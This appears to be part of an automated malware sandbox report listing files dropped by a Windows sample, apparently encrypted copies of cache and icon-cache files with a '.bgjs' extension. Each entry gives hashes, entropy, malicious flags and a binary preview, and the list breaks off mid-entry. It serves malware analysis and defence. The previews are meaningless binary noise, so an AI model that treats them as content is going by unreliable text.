SSDEEP:	24:MQta9kWzrM+NZedQAXuov9sU3ZgobXi3UsNQm/iTkbD:MQyTXWSo+ogo4/WmaiD
MD5:	0A1684B3138FBD6F2F76B9C43520A577
SHA1:	D9955D6D01BAA845FD56E5F0FE9FFD2107D7346F
SHA-256:	9D5D82971E8CA0B4388EB812347C5B97DF8C17228269596749722B66EA73146B
SHA-512:	C43B5BD9D66E11A4A1BAF0C8B60C342283157A5A21B92A673F9D78B7489F8F9B5937C666850F737B18951BEA3C5FB0EB39F93FAD89C62A2977B61C5F3F1D0723
Malicious:	false
Preview:	....B.9....n..R..7...=..r..ik...?E......W.7........9...Z.a.,..W..z6o6}FX..N..^.t../.........l....H..a..D......].S]..t=..s.%P..B.......R.-i.x.......F.\.z..oh...5.V{...!....O.....c..O...u.4v......r7.....).?7r.!.r..4.`.T.$.......E.Z.p.......4.T.C...IW...h.{*a.T....o..l...w. .r....E...:R..q.)...&?,F.=.o..9#+.._.j&...T4._......m.........AA...Q...5.mB;t.V[...a.n.C..O.4k'IH...p.......:..YjEfXw.&1@..a.m.8...S.0...[....vM%.O.F.~.^...e.V./...g....Sv.v>J../....=...Cu....fv.~0..%3.Y.dm.wolP..u.L[././YdD.p..j..........b.Qv.....B...(.V....A.RnK.;G..t....d....M.fl..nr'..??.....X..[.3....3!m.A?.t..h......o....(:cE7.K..I.+..E.Oa.$w.z\|f..v@..ic.J\.._.<s..{9-;...J..i\....oD2.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\2057\StructuredQuerySchema.bin.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.331868490831566
Encrypted:	false
SSDEEP:	6144:D7WT6cbIg4KOgaYtjXJFqTa5j6qtXm+vyJfbnQkK96B88yKv4bWTmTvEiLSk:D7n9Vg/ZFqTa5WEXm+6dF4/H
MD5:	D77C34237B7CF744196DC44987793BC9
SHA1:	C9AD3FCDE4759DEEFD34B76E868F1439CA84B1D4
SHA-256:	D37298D86EE31DE064AFE60C49AA0E6420C297A3AC8AB48F82BDF0FF5244BF89
SHA-512:	032C6B2F8A41970B51B5F822F476EAE10692D45CE15135A875DAD46F196C57E11FB02A6A79159993D95AD2AF7AF0D163EE530C8EE40C016F06567492144035F5
Malicious:	false
Preview:	...P..Y.XL..~..]..J.......T..%C.C.9.{.$W.......X......J.....i?...=O..'IVG.'.(..r..."+....B..B.\..3..q..o...l...n.....Q<..Z.=5.\|.._....~2K..[..:...U..LI.j.....X..2^.Y..t.O.v3r..+........y5D.yd....C}..p.{.m.4T....Q.....=......o...m..0...U.P..s..5..}....4.O...c....b9.......A,..m.@....HX.k}.'.Fv;{....t_.vS./...S.lC.S.T2..<.HGs..B.S.f..a..^VCu.E/v.^...p..4...l.1....b0TE.~^...m5...W...]og...N....SlKX$.g....].D..%.e.4^....0......O{7k .y..a..8R.M...J@..............x......,.f.j.K..Cq..;....Y...pj..(...C..njW.......2..TS....%.q......Y...E-..._g......m2s..gD.:.a.;......14<.J.G_@.T....-....'.DBs...w&.J^.1..5..S8.&.v...?4.R.Ri......F...?..gd...>....o..9.,.......K....ug....-.p.B...J..D..=....k.......210d.l.V..p.9E.#F........Q.B...u...;...+=?...v.dva...O.E..f.c...x..>.N."*..E8J...,..Yn......i......h.Z[q.q5.......r.e.q..p..(=..]]..8.....[.9.2.....R..]..3.....e..Y?.:BV...i..d3.o....l...8..lu.o.Nnm.......&?4..M.....Rbo.-.....t3........x....$.L.F...

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.1.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.987197715371828
Encrypted:	false
SSDEEP:	384:khP9ubxDSb3NThlKfMKlpTTBOYLJpm3IjYjX/2maVJg7ZI2BKuRC:/NDSlhs1VOAEVOzLwpB5A
MD5:	8FB1D1A73215D2DAB54BF7385881C54D
SHA1:	932FD5FEBE2CC67124B74131C40B934649D37996
SHA-256:	174C0532865C0BC616C8E46E95AE652CE49525DB39DFAF49C0482C445AED168E
SHA-512:	71E57B7A4709A0B8640817E2189047CE17E014C2B5DBDF9F2F0700E1C7985DE9E57E682FC0151C9C7D641ECFAF3A567FDC32A16EB6C15F14F120FA8F8C2904B8
Malicious:	false
Preview:	.... L...=.Um1P.........+ti.^....E.`..=.`.\..auL..&$5v...l..r..2a\.5d.9d'(..6gx.2...{.....')....d.."..M.Q..%8...L.wu...H.+..g>.4....g?.C...o..`T.iL.....t.s.Sm..k....^...Cr;.;...K y{e..4.'..a!.y.V...w.EY..S.T.>V}..9k.clN...U.0L......r...D..]..l..9A.....)...7...g3.a.Ka..'.e(a....._..;...E...O.......Yt=.z.HF.Ay.rW. \k.....L`,..^.w.m....E.BIh.Qv.K{..<...U...j..~Z@..&h........I.=...I....b....]..r7.<...5v.L.l...~K...:..D....:~Pdg ...f..W6..7n.6l\|....:9..B..u.GD.\|C.4...^~..Dq.w.ol*...y{d;..ks#.nG.....(..Zf.B2`kP^......s..F^.\|.......\|.M.'....=...`Z.i1wTQ..v..w....<...i.g..qf.o.e.m.....)E..Q....A<S...#@S.....q...w.v.F$<.K.:.N.\..,.._..-1}...l.......tk.f.I.a.s.w..s.._H}....6....=.C..76v........E..P.t.......I.....E....~c..{.....[......=vG.).C...u.,..n.Rmw..%.....G..?...!.....k.+......X..M.......^..)...$......../A]......2.=.w........U...>..k...G..1...=o]U..Qx..lr.....}o..Tw}..\|.k.64. O...aZh.O..W...Z.==]...U.V..]?..".M...8..\|/.p......,....[.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.3.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989939903827493
Encrypted:	false
SSDEEP:	384:YRzWcf7l2WdXUKTmlxI/EXDkoL5VxfX4mqb70L8z5qo7uRGUm2ghpPVN:YlW64WdEKTmTMuDkoxfvqH0OMGU1G
MD5:	95EDCCA22129E0255C136547D1DA9F94
SHA1:	0C679C14D418210FD8049184C50E03690489C654
SHA-256:	AC1996EBF1CE623BF47F40BACCDA6BC7F0A7766483D3E0BF7B693B9054734208
SHA-512:	E975AC44491DB2BFEFD7B108581FE2F4F0849F5AFCE4350518C82BC734E697C9298FA5E350CBCD8BB2BC407AAC61333F0F1DA82C0EEF3F91FE0225D7B0B8528C
Malicious:	false
Preview:	....`..c..o...d....".......n..,....F....+.Ik6.@OR.`.....pC.V..Q..D...jH.X../.b.B..].. .cCH5{.P..u.\|6..f......=U.....[..GXa...........UU...>7e.T.14..3........L.V..F...^.n\k.^L;.xJi...h..]..D7R...h...'.).../.&...)z.#.6..9.k..;.GA,...C-...sC..j..k.......2.....Xm.W...:3.?...'..jb.9OcL.....V}i...o...O.g.;\D&.Y.t).m....l..kxT...5..[.....a').yy..u.H..6b....f;......A...:..\|...E....e...5.U..8.;o..h..c......./.h...>....M.......n......`..xH...x..z..`..%$..{[.-.}9O....}.%e.V...]k.?3F...0....>..Xd.p_ga:..?G-.c.-w..T$..'7...G:.B........rd..>.i. .'OL......'....J.....X.WR.{.L.x....>l.q....%..>....G.{.E$.f....)..6j...vH...\.NX.....%i...bo..T.~.R..].\|...)6.. .K.....\F...0...;-.....{..,...6"E..<.......d.L.S.]..1..9...P,....{.......i.X.Z..%..?......[..AH.L.7.=o...x....H......v'V....S?.{vo.K....-...,..A...CH..=~..8e.4.C...vm.8{Q.$.!3...1...e...C#.....dm<.d.F.n.(.....LO..F.k...F.........n...n.6.h?..P.k.J.s.4..W...."..h.o\|.t.h.....W.......]..R.v$...J.u3_.j

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{0045F640-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.331812321314353
Encrypted:	false
SSDEEP:	6144:O++wfU47tAqY83+5uh0Jim+vyJfbnQkK96B88yKv4bWTmTvEiLSM:OAR7S58yu2Jim+6dF4/D
MD5:	C1C06FA8BC6496FC610655DD93A68D51
SHA1:	E314DDFAD6D61E42585F44C2C041AF9D5FF51ECC
SHA-256:	65821391645E9B69068C4B0F105756613EE2EBBB3DA9B0550D9679E656D4A4D4
SHA-512:	FBC07B212B74A83AB15FD6C6F0AB98E1A3B81A6802B454C55069E61A97E17968E6CF9AD6536501C7C047A304F3DEA8B12C0AB0E383384DAFCD0EE1B7F04D0E0F
Malicious:	false
Preview:	.w.. "`tl}>.S....>S.........s\|........Y(.......<-c.>-...V{D.[.[...W..t6.!....F.p...L%...8.......z.>....vI.uB..\|....8y.O..S.....i..!f...>.6..k..=...._./.x}.v.;>a].h"D?.....f..r`H............38E.>....C..>'m..E.c._....a.j./..........E.c..D.c....)"HG#V........o...7.?...D..ME.\|#..3.:.d#\.1....L..9....W<...;..N..\|..C..,;...N.F..N....+Y..:...[%i......aC..<.........?... mC....OmZd.....,f...........8.b.\U.~!_... .v..KH...... ......E.q.]..:..>..%.:..l.`..^....6.s..,.pH./.[<-b.."dNu.U.s5Y_..3.....y...d[..J.NE.h0:....>[..U_../.....2.n....k..b..\.E..x..5....t2hEgZ..g...T...0.sp....W?}.............T.......\|...0UH..O}.`9....4.@..x.!......W.s.B..).. ...w.L....^3..Zk.^:../EQ%}.o._E.........06U.......h.\|/...".(.)..?xGDM.B.HN..Y...Mo...._.@........."p.{...B.._.n\|.6..;.I.$.l.(.w/'tV...W...Km}Uv.o.....u.9Q.-{<.......?....V..G.........8Y.Zs.........'...%*...6....=V.~d.6.....N'G....p0D.^.!.B.8....T8..n..(4...7:\|..'X..=.:..L!.h3e...IP.J..e(..+.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000001c.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	102878
Entropy (8bit):	7.998277512112598
Encrypted:	true
SSDEEP:	3072:T9unqDtNT1O+gll6amO+qxiy4KcyhQXz5/k+8S:5ukh1s6/fC4hz5P
MD5:	4FD7E0F2197AC265E8863F66F0381228
SHA1:	FEDBD6D0E74D70FB6FF4153C34980D554FECCE40
SHA-256:	C882CD3DB4C7219782F37C62A016EF53C9E7EAA7E553F44B85F509D769EFECD6
SHA-512:	A4C5486F78987C95A367FF4EF014D0EF7EB47F5B9BD379C8A599B6D91FB5FA4361C14E7E142EF1AA9A51370D2EB7FCB4AD91CB3295C4D4D7FC57407F5CB9E323
Malicious:	true
Preview:	....h......3 Q<......J....WG.......w......S.9q....[..5P...l^Y...........Z.=.-.i. ......U`X.q......exq.b.....RF....T.R.61....%..=_.}./..y^;$..u.{4 ....,....Ok..wD1n5....g.s.).......F.4.Y~G.........P....N..7^l1..f4 ..../...#.dp.gC......R.....]A.V"..p....5s.....K`......9..)5'x.m...]hvog5...Fz..@C..LP.<..W5....i.<....9.-...O...4].#.T...)@.XY..]Q......u3C....}!}...c\|.......<..cxr..D.w.+.It,.eO^.qG''..L...B..G...m3....9..s..l................A&.T...~...w..;......f..t{..b..1S....E.....}.lP.E`..U...Z.^....JH.e..5D+...0...VT\|.ibm..5P.Z...M..M...`g.rzy..xd.T..z.nN......w..,.6.......NtW.oaZ.3.&...'=........k&.C0.W.......Y......./.mm....#.c...u~>O.`....0...$1......$.-.?...)......0....9...I.g......q......oHb.K...w\..K..U..Pd..5.N..:.+.!.......l...h<?..8...Y.^..w.J..N......r.t.'z...`.[...*..,i.U...iZzv.y2....MA...\|H.A.^.e..{.Y..)x.t.%E.....P...[u.........j.+.]..:..]...e.......I.."2...XQ....v..d....5.i.`.@(.....`#..?....N....H..G<.....>.J\|H.&D.,

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	99742
Entropy (8bit):	7.998291115261785
Encrypted:	true
SSDEEP:	1536:TNmOICLxzFTlrSL/OnREx9mrtUy0/dudeKKf08ex4DBVBMfEpAfHX3TFb7teCL6s:BhVZTMoxSH8d00uKhX3TFbhebqtuPoPZ
MD5:	97AE28DDAF924E69BE11069658EFE185
SHA1:	2D25181BC6DFE36F84D67A6BA2EB30389864579F
SHA-256:	4BEDE553401B256EACD50A11EB151C94AD1ADDFA2E0DFE0833D58523B2C12C71
SHA-512:	89B8AEA6C1F035C4C137E7BDC66395637814D2986B5863A8839A19DD99C2494F25D45D8EF6FE84B32A0B4EB9CB5ADD83309E1CA9610189592C027537E1E9BA91
Malicious:	true
Preview:	......#rb...s..H{.v./.x.y..wy..}..i..7S..0PPIaV4..#..)%<\|.l-..'...u..&m.S...G(..ba.b....:\..V.[u...2...C3....>....].......O...%....+74..\|d.L.-.."}...S.$........r`=y.U.....Jjd...>......8..........^..7..,h.....b:.5..."=V...j..).i.$.......3$._....S~.Xw.4...jY@I.z^5..C....c.)T[yk.p..6..TS..,......".\.~.F.a.Tx.d.D.Ue..<^S`.l.k.W..4.WlU....lf......_8.Q....W..j...6...0-j;...:....UO.[l#...[..M.;.]....L...ocqP....J.V.u.,f.....JX...... ...U.>.t\....o..7).e...F.[.C?=\..o.!........:...U.......F..CUX..2_.s.!...pn..)..Z!.\|.=......C.$.....+.\..L....\|B3f..n.........Vf..X.U....[W_.?<..Fk..\|=.R.J.-4s.s..9....@..v.^S...C...b..e...A.._.-...l....2$..a~.}...c.....x&u...(..].u...gBe..i.......j9...%.......T.4..:....CI/..k..P..=.w.....9.o.NS.+W(0b\|....53.wW..i1 ...L.'Z...J.!+.........ww..4....<."H.E1h9M.7..n......U..-..Z&...;`!....&...?.P.'.....F.;L.B\Z...?.....9..w"}T...m..m......BR...{....Z......0.6..9<..&.f..dTIq.p.W.."..%..4.aj.T6R.bc...$!......@..

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	100894
Entropy (8bit):	7.998047331857493
Encrypted:	true
SSDEEP:	3072:RtrjUXe0mbNJZNVqhLtjgyrv6agGNqdgvBdOQ:LPUuVbNJZNwjgyrvGgfpdV
MD5:	EDBD4094D3BD019964DEDE05F98B73C8
SHA1:	6DEBF206485A571DFB50A88C2BA41BD323486A7B
SHA-256:	4C487C2DFB69528C2AD56CD573669787D732AD02ADB11D20E02475DFFA89B9DE
SHA-512:	B20DE2586D6108DDF68A7C09D57C583318E1AF1E506908EC63C9649D1789FF02CC1087C9281CF7BE9FAC5F77B9B8A5C10C8A6C96A77A120E5B806AA84F420EB5
Malicious:	true
Preview:	.......;.-.s...q......m..;..&qA.....G..d.,... .f.N9.e..e..Y..x.^.'}........bz=.[...}...^.;.M;....,..V .az...s.t.j....5......._VW.M).....f....8.y.N.C..g..q...,.p...>p.C.F..R..H.S_o..vm...q..O.....-v...qBm.{.@.y.\=3............VL.Au....(.O.J.....<.....>..T.A....dUa.eR....1...+..\|kW.?1'...T/..~..b...Z.$q......}E......[p..U.{&A..9..G..=Mg....(..M.B.)..d....xR...............}M5...y\...".+.......gE..+z`SM.....{.c.`PV...)J1b..k5Z.Q.X.P.....1.xTD..b..4.R.c.?. [...]...k.....=..........j!q..3B.."7..nR...{...x...r...f..X..'+..$Y..l.J8..vl./.V...!.....Q..FSS1.xd.}..j'.ew.C..b,}7.{..Cs.sA..){5.M..1..(F....\|....p...2.........>K....r...d..~. B.>..j\|.f.[...\.;d0....?..k...7...hOQl.C./[.A...YR.......m*.F.\U...#.a.#..7..N...w...Y.Vl......u.J]K.'T.3W.9].....Q..gB.....{....5.a....cx>..k.w...M+:]m).p..j.."~q.V5...&" 81.m&.q..:.......~.u.c4...'....b..2..S...g.K.I.b..K.0\|.pe...9.vN&o-r..;.'183...H.m.LC.......7K+..p..l&.......\|.(...<..o.[...Oaj._nM8kH.l...

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog.etl.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	606542
Entropy (8bit):	5.706679472843736
Encrypted:	false
SSDEEP:	6144:A+FbUQwKa5h9YIORmZsj0EYIfG4Wfde8QZOYpxaGrOAo:AIo5U/1j0EY4WfdedZrOF
MD5:	C48F72C4A2D246FB47227D1F6836891A
SHA1:	6F884A63EBF3CFDB03E1297962D358C2D062E99E
SHA-256:	7A033176107CE52AD4C21E6A7A4EA8173AD6B14E3C3EA3FE67037619A5114CC2
SHA-512:	85CDEE3BF63DC08D01D1AD28D0D1D3E0783E8BD572638C9E1E37B986A7B8C3776699EADC007845D60DAC4855EB166FAA2DDC30D96B93B1424F033BA1B8647DB5
Malicious:	false
Preview:	. ........\..S.S6&R..Rm...N((q.^..t.q...`X....._.....cDs.-._D.T..!...A9..{8).........5....K.....q;9R}u.C@.mxW....bYE:.M<...P..}.cA.c..Ou..\|.O....-$Ms5$-#.....w...N../.\.fL.....x.../.x#.9=-D.Q!....G.."$E."0.....7.Z.b...C/M~p};.....Qw:O\| .xX..\e..>d.l0.KUZZ"..\.V.U.F..'~`.:{<...(./.G..w.../..O...0+.((...W.J.m;.....h:.E.o...... ..................m...;1....6...4..1.....6.k.......1>.Q9B.-$..u.@)$...d..Ob....].FE.aD...[E.k...?....d[.;.gR....CG.W.....=...F^.O..T...q..r.7...x.......sZ............B?6.....ay3J]..l...pI.M..x....Q...\|...?S.cp.!_..W.DI.I/."+....=F....e..{..,po.......v..@."35ck.)=...l.\.T\|.$.X...Y..!.O<"u............W.......3..k....U..E...d.9..x.Lh..3.`..rO..H....`.d.(2:.u#Gq...z36...7..Jj..Uj..7.....-..:.@"..Q",,E...i2....`\....v.2@..H.R1.m$'...j.!..S....C.i......gNO~...P...l.\.G..an....QRo..7~,..X..t.Dz.........=...]Z;.A....@.P....-..q..$.fmMm.].@..*5..Vw.Z.\|......7L=.E.$.....kuONN.......?..ly.O\|.y2..-T>.7....3[B..E.f.k

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.99322863079592
Encrypted:	true
SSDEEP:	384:eZjar8mr/R87etHDRbgN7iEytxBLqwYZJYet3T+g0stHB5ayucoJr2u7HQs+4YQA:VrKyM1kx032et3q4HBtxoAIHtYQy2I
MD5:	5AF5EA54349DDD571BE9D1E284008F31
SHA1:	488AAA08970D27BAAEB139B914B9ADBF5ADD1BAB
SHA-256:	159D3237732209987F66C80AFB0245FF4C53E7CFDB41021A6E09BA6DAA3C98AE
SHA-512:	CDB07D2FA08A58750B4536C68B94D5A76DC70BB0B76255A9943DA7B8A896C984B58F697B865008102C0FEA1B43779305107AEB62A87F275DF4C2E36EF3C754BC
Malicious:	true
Preview:	. ....1.....HK."..... .?..Q.`=..V....SH..}.h.1.$F..g..c...n.q..vZ= ......(.5...=..P.Z......b.:\_.C........>.).yg...._....)..,..cuCQ.....E.ay....3Y.....N&.I..J[S2.8...@.8....q....[..(.....AF rU. ."M..g.k..yw.... ....'....0.-..~"-.sD]..TW.:.[........%.X..V.D..A.NS...6.T.r..=..#K.z....O.qQh...t.YA..:.....~..{..5k,..n. ..z-.E.o..6D.../...].q..d)..T.:.WZ....w..\|..}..Ubw....V)....q.U.g.=..I.GM.".H.(. x~..[3..9@.XTXW.~.l%/.#...f....c.].(../U#QX}Px.T=.@...........).P.:..w..z'e.......=1.Df...q.....p9.....:G.....=8r`N$..g...,\|...8.px..`-............3;].o...........r....5>_Y.eT..~..[w$.Y=... .u....w_..i.......x.....O..K._.LLD'.u.....n....`.U@...9..o.K......./.qm...X.+....\.{$I....I.i...u..J.'......~\@1.....g.....n=..vZ...H@..4...gI8....&.!.F..~......b.%..=..." ?.a.a.....m..O2..)S..#8..W'..^...z..+.6`.l.p>....^,..B.fa.J.....\..v.S..@.I...D]J..I.,.....IN.r]G..P..;...y.A...OA.[....u.e\...B.).`n..L.&r..h..D.v....].../X....-..Z.5@Z.Y..m......)...$v.

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1280.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.268909625428291
Encrypted:	false
SSDEEP:	6:88twqSk8NQjJXU6uCmQrMOzRHH8K/JZr4eE00YoayEQN4UwuamDijGxssZacii9a:X9SklVUrmfNfhj0Y8EQaYam2ixpZaciD
MD5:	F06177E664FBEBB6FA1F1B682AD2FEB4
SHA1:	322E7E503C537119E640FA8941216A82ED069355
SHA-256:	FB58D1954655D6C1AD28D57C37B5054E6DA232D37DA703EA3967E4004A4F9DA3
SHA-512:	1D39620C4515CEECE518C7919F9A6EA0EA6FAA09152C351AAA8F89AB6CE0CEF6110C524DA499E059C03605459BCBEBCEEBB62102061808E53FD76139D2478A9A
Malicious:	false
Preview:	CMMM .&8..pasik.Y.-MdZ.,."\.1..%Y."...,.V7.t......W.....;.a..hE....].^.C....C...mU..Iu."W.i.N.QX...7$.x..I3.g...p..x.Y.?])J...P.?.......XX.L..L."...!..T.o.-....Y{..p..-]#..[.` .d.l......-c...LU.Z.....G....]_.;.N.a......:\p=BHu........K.5..j...%.u.#.V.HC..2..j..k(...xQvr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1920.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.256583563001521
Encrypted:	false
SSDEEP:	6:dExL/DH7U9sVRSav/w0ur/iGUjgc5nOMlrHqnV4gGV4gq3gILs0OzHjGxssZaciD:07w9sVRpnurBUMc5njlrMV4gGV4b3LVg
MD5:	E929822661E2EBA77DB88474BF34BD21
SHA1:	6563D437942F7D335DE5D360B36D5308EABC305C
SHA-256:	F5C7F8CFDFF57382552784B7CCD768B3E65FDFDCE66641E6AB6F3BB8F2DCCED7
SHA-512:	73924D4A4A73F308F80BF207C9D9508EF70447BB83505DFFAEF2EDEC5AF4E37C8505ACF557E7431B22166D062F35338DEE0E6C7C72F30BB7C2D28754875A57AA
Malicious:	false
Preview:	CMMM .?..v...S..J.qZ.........3..dT.....T.P..h.W.U....0..7.f..&...%c.j{.,.P.h.7......5B.v.....Y.+.........^.`Rx.......Y,T.C..$..v...w1.L..8^.NA".^?...0i..y..}..P>P..XMTu..=g.z........N.l....6.,.4,...yd..qBW..IY.bf.- )O.P.d..V..m5e..EvR.W..?Wn......h..2.R.y[.J0..B..[.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_2560.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.33634456802627
Encrypted:	false
SSDEEP:	6:IAvbb1iqpDQvgyykEPKKD/kxPJdy8evvegahbxj5lAwQGB0VjGxssZacii96Z:xbb0AvyykErQP3ylXe5hBdNUixpZaciD
MD5:	C7AF66EF14BA2E2BBB6161F547D6BD4B
SHA1:	679FAC804ABB56C8FD98D3006207486C84F5F7C5
SHA-256:	2E3E8DE2453C560B3D85A7A95446785DC2C0FF7573CA0195957CCE6396FAEE1B
SHA-512:	7F6284EA22CEBA0DAE156C3061EE02218F764592DCD34B798697C5210F83B7A1BA31BEBB90FD9819BEC55A36361A50C906E7873D5EC44A1333FEC4BFFBE187EB
Malicious:	false
Preview:	CMMM ...h.8.:.M..W....o..Li.e.e......N..$.Uu...(.t<.....)....)...T..H....5.O.(@..b.m.^....&.......%.~...b'^........S.cF-ag.w.-:..q.X....b.....l...J.%...MW.k..].D......t.,..e._k`Y.....]zd.gE.e3@...{.("....(.%.....H...\.eqs...#/B....;.G.3..\|.3...A..>......l.:...H.C.f.br6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_768.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.285253802508243
Encrypted:	false
SSDEEP:	6:SG8TyuAneOyKHhgOxIHlRXEIqGEhDwW+XZr06ze8u9DnPFozkxF8RjGxssZaciik:18WuClHhLxsEDfeBLKn9FxF8RixpZacq
MD5:	DC8B1A45269DD7B40018189A039158CF
SHA1:	2C78D57F3FBE275F8AEFA73A4CBE54829EFE567A
SHA-256:	D95C90088A03B7A8C55CDC4E6A66DBB02FBBFB89C71C26741F03FA19F5EDB38B
SHA-512:	8808F5E400CDF79C817C77664EE08AAADB2AB96B70B89D76511452F1441493FF070B655D1D6CFAE95BA9EBE5680AAD37AF8D1E8951329E751B06CE15C15CFE70
Malicious:	false
Preview:	CMMM ]G...7E.4....[%U.D.....eBY.r3.+..?-X...d...m.....k.,..+......u.u...~..5.5.h...9`..].\.G..s....g/.._p_.....%.m..G.Yq..+..l...^.-4}..a.TS.1.XK...\Q...."...:."...8....x~E.*.sLZk.i..J.Vo..SB._2..U...........A.......a....H{....:...m%..p+<..i...f........F....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_96.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.240795291444294
Encrypted:	false
SSDEEP:	6:HzUVdG+LmP1NYCPBpjMtm4ofuCtbXJXxZESlMGvg/aDdoC4t3R2b8VjGxssZaciD:IVdQ1DZC2bZPNrSaGC4tB2eixpZaciik
MD5:	2A6E65EB2E5ABACD625397A26DCAD9CF
SHA1:	FDC6DE8F9EB38B3835C28F75FD749C3AE0709A6C
SHA-256:	52BEF4035A5B2A6ADC9FE995676EDFCE93DDCD24C85889E8C29ABBF2284619A1
SHA-512:	4071A46BCD7B08FE76532006FE9C9FC1BD088195424AA9E1707778469A02864505A60E6D671AECEE2232F5B9E5841222C6296B7186111E235FB007B6C9BC9CFD
Malicious:	false
Preview:	CMMM r...X........g..#h...d...."XR...p.<.X!..=.x....O....Y1.4...[....N...[.9..^Bk..L.4)....3.C..^....d.r:K......h...*......4.....C.U.2k..C.........$...\|...LEl._G...t..L b.W....^u.L#3...W......[(.m..z]b.mB...4.\|.....DE......'.<..b.5...._.X...l......R...q...NF...2.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_custom_stream.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.233281448047947
Encrypted:	false
SSDEEP:	6:Ar2dy766xKvt1Iz5p89CKtRHpStEfD4hcr3UmjGxssZacii96Z:DXX4iv1ctg0Cr3UmixpZacii9a
MD5:	E2D4F0175CC1CC350BA7696189A73BBF
SHA1:	ADB2B5D7F2F74A766AB36C031F2B799D272BD5A6
SHA-256:	8193B44AD8695F135429083830B0EF7656AE7897C386054EAD2A86789E660358
SHA-512:	95915E84058859E1AE78D9D81F6E019D98CC0F1EC8DD46E8E90B12ED90B80D29D4745EEADF82FAA8F95DB9BFF63EC24045DD19F508046A00890BF7F64EC4F943
Malicious:	false
Preview:	CMMM ....W[.UD..8oJ.:.]8.9...p.o.:..p.%'..q.rj\|..#..t...PW.Y..Xt.....g.1.y.b....6.q.Z.2.;....}+.....u..x...o...............5a...O#wGw.G.....Z....%M..3!..1~Xo..!s...vTU......._.@..k..w.GZKN..b...w.p..........!.....!...v;P....jB([AvY............Na.....Oo...r.1.....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_exif.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.267936118317685
Encrypted:	false
SSDEEP:	6:q5qpVxLpvPgfzSKdowmQvrsMlhiLpRs7ku9Mq2xxv8oNZ6ZtzjGxssZacii96Z:q5qpjtng7jtmQvrcTsgu9MbXUoNZGtz1
MD5:	B6F14CD2115904973B0A027B1FAD7634
